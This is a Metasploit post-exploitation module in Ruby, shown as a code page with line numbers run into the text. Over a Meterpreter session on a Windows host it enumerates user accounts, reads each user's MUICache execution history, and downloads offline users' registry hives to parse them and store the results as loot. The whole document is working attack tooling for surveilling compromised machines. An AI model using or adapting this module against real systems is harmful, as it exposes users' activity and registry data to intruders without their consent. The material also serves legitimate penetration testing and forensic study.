Path: blob/master/modules/post/windows/gather/enum_muicache.rb
19535 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45require 'rex/registry'67class MetasploitModule < Msf::Post8include Msf::Post::File9include Msf::Post::Windows::Priv10include Msf::Post::Windows::Registry1112def initialize(info = {})13super(14update_info(15info,16'Name' => 'Windows Gather Enum User MUICache',17'Description' => %q{18This module gathers information about the files and file paths that logged on users have19executed on the system. It also will check if the file still exists on the system. This20information is gathered by using information stored under the MUICache registry key. If21the user is logged in when the module is executed it will collect the MUICache entries22by accessing the registry directly. If the user is not logged in the module will download23users registry hive NTUSER.DAT/UsrClass.dat from the system and the MUICache contents are24parsed from the downloaded hive.25},26'License' => MSF_LICENSE,27'Author' => ['TJ Glad <tjglad[at]cmail.nu>'],28'Platform' => ['win'],29'SessionType' => ['meterpreter'],30'Notes' => {31'Stability' => [CRASH_SAFE],32'SideEffects' => [],33'Reliability' => []34},35'Compat' => {36'Meterpreter' => {37'Commands' => %w[38core_channel_close39core_channel_eof40core_channel_open41core_channel_read42stdapi_fs_stat43]44}45}46)47)48end4950# Scrapes usernames, sids and homepaths from the registry so that we'll know51# what user accounts are on the system and where we can find those users52# registry hives.53def find_user_names54user_names = []55user_homedir_paths = []56user_sids = []5758username_reg_path = "HKLM\\Software\\Microsoft\\Windows\ NT\\CurrentVersion\\ProfileList"59profile_subkeys = registry_enumkeys(username_reg_path)60if profile_subkeys.blank?61print_error('Unable to access ProfileList registry key. Unable to continue.')62return nil63end6465profile_subkeys.each do |user_sid|66unless user_sid.length > 1067next68end6970user_home_path = registry_getvaldata("#{username_reg_path}\\#{user_sid}", 'ProfileImagePath')71if user_home_path.blank?72print_error('Unable to read ProfileImagePath from the registry. Unable to continue.')73return nil74end75full_path = user_home_path.strip76user_names << full_path.split('\\').last77user_homedir_paths << full_path78user_sids << user_sid79end8081return user_names, user_homedir_paths, user_sids82end8384# This function builds full registry muicache paths so that we can85# later enumerate the muicahe registry key contents.86def enum_muicache_paths(sys_sids, mui_path)87user_mui_paths = []88hive = 'HKU\\'8990sys_sids.each do |sid|91full_path = hive + sid + mui_path92user_mui_paths << full_path93end9495user_mui_paths96end9798# This is the main enumeration function that calls other main99# functions depending if we can access the registry directly or if100# we need to download the hive and process it locally.101def enumerate_muicache(muicache_reg_keys, sys_users, sys_paths, muicache, hive_file)102results = []103104all_user_entries = sys_users.zip(muicache_reg_keys, sys_paths)105106all_user_entries.each do |user, reg_key, sys_path|107subkeys = registry_enumvals(reg_key)108if subkeys.blank?109# If the registry_enumvals returns us nothing then we'll know110# that the user is most likely not logged in and we'll need to111# download and process users hive locally.112print_warning("User #{user}: Can't access registry. Maybe the user is not logged in? Trying NTUSER.DAT/USRCLASS.DAT...")113result = process_hive(sys_path, user, muicache, hive_file)114unless result.nil?115result.each do |r|116results << r unless r.nil?117end118end119else120# If the registry_enumvals returns us content we'll know that we121# can access the registry directly and thus continue to process122# the content collected from there.123print_status("User #{user}: Enumerating registry...")124subkeys.each do |key|125if key[0] != '@' && key != 'LangID' && !key.nil?126result = check_file_exists(key, user)127results << result unless result.nil?128end129end130end131end132133results134end135136# This function will check if it can find the program executable137# from the path it found from the registry. Permissions might affect138# if it detects the executable but it should be otherwise fairly139# reliable.140def check_file_exists(key, user)141program_path = expand_path(key)142if file_exist?(key)143return [user, program_path, 'File found']144else145return [user, program_path, 'File not found']146end147end148149# This function will check if the filepath contains a registry hive150# and if it does it'll proceed to call the function responsible of151# downloading the hive. After successfull download it'll continue to152# call the hive_parser function which will extract the contents of153# the MUICache registry key.154def process_hive(sys_path, user, muicache, hive_file)155user_home_path = expand_path(sys_path)156hive_path = user_home_path + hive_file157ntuser_status = file_exist?(hive_path)158159unless ntuser_status == true160print_warning("Couldn't locate/download #{user}'s registry hive. Unable to proceed.")161return nil162end163164print_status("Downloading #{user}'s NTUSER.DAT/USRCLASS.DAT file...")165local_hive_copy = Rex::Quickfile.new('jtrtmp')166local_hive_copy.close167begin168session.fs.file.download_file(local_hive_copy.path, hive_path)169rescue ::Rex::Post::Meterpreter::RequestError170print_error('Unable to download NTUSER.DAT/USRCLASS.DAT file')171begin172local_hive_copy.unlink173rescue StandardError174nil175end176return nil177end178results = hive_parser(local_hive_copy.path, muicache, user)179begin180local_hive_copy.unlink181rescue StandardError182nil183end184185results186end187188# This function is responsible for parsing the downloaded hive and189# extracting the contents of the MUICache registry key.190def hive_parser(local_hive_copy, muicache, user)191results = []192print_status('Parsing registry content...')193err_msg = 'Error parsing hive. Unable to continue.'194hive = Rex::Registry::Hive.new(local_hive_copy)195if hive.nil?196print_error(err_msg)197return nil198end199200muicache_key = hive.relative_query(muicache)201if muicache_key.nil?202print_error(err_msg)203return nil204end205206muicache_key_value_list = muicache_key.value_list207if muicache_key_value_list.nil?208print_error(err_msg)209return nil210end211212muicache_key_values = muicache_key_value_list.values213if muicache_key_values.nil?214print_error(err_msg)215return nil216end217218muicache_key_values.each do |value|219key = value.name220if key[0] != '@' && key != 'LangID' && !key.nil?221result = check_file_exists(key, user)222results << result unless result.nil?223end224end225226results227end228229# Information about the MUICache registry key was collected from:230#231# - Windows Forensic Analysis Toolkit / 2012 / Harlan Carvey232# - Windows Registry Forensics / 2011 / Harlan Carvey233# - http://forensicartifacts.com/2010/08/registry-muicache/234# - http://www.irongeek.com/i.php?page=security/windows-forensics-registry-and-file-system-spots235def run236print_status('Starting to enumerate MUICache registry keys...')237version = get_version_info238239if version.xp_or_2003? && is_admin?240print_good("Remote system supported: #{version.product_name}")241muicache = '\\Software\\Microsoft\\Windows\\ShellNoRoam\\MUICache'242hive_file = '\\NTUSER.DAT'243elsif version.build_number >= Msf::WindowsVersion::Vista_SP0 && is_admin?244print_good("Remote system supported: #{version.product_name}")245muicache = "_Classes\\Local\ Settings\\Software\\Microsoft\\Windows\\Shell\\MUICache"246hive_file = '\\AppData\\Local\\Microsoft\\Windows\\UsrClass.dat'247else248print_error('Unsupported OS or not enough privileges. Unable to continue.')249return nil250end251252table = Rex::Text::Table.new(253'Header' => 'MUICache Information',254'Indent' => 1,255'Columns' =>256[257'Username',258'File path',259'File status',260]261)262263print_status('Phase 1: Searching user names...')264sys_users, sys_paths, sys_sids = find_user_names265266if sys_users.blank?267print_error('Was not able to find any user accounts. Unable to continue.')268return nil269else270print_good("Users found: #{sys_users.join(', ')}")271end272273print_status('Phase 2: Searching registry hives...')274muicache_reg_keys = enum_muicache_paths(sys_sids, muicache)275results = enumerate_muicache(muicache_reg_keys, sys_users, sys_paths, muicache, hive_file)276277results.each { |r| table << r }278279print_status('Phase 3: Processing results...')280loot = store_loot('muicache_info', 'text/plain', session, table.to_s, nil, 'MUICache Information')281print_line("\n" + table.to_s + "\n")282print_good("Results stored as: #{loot}")283print_status('Execution finished.')284end285end286287288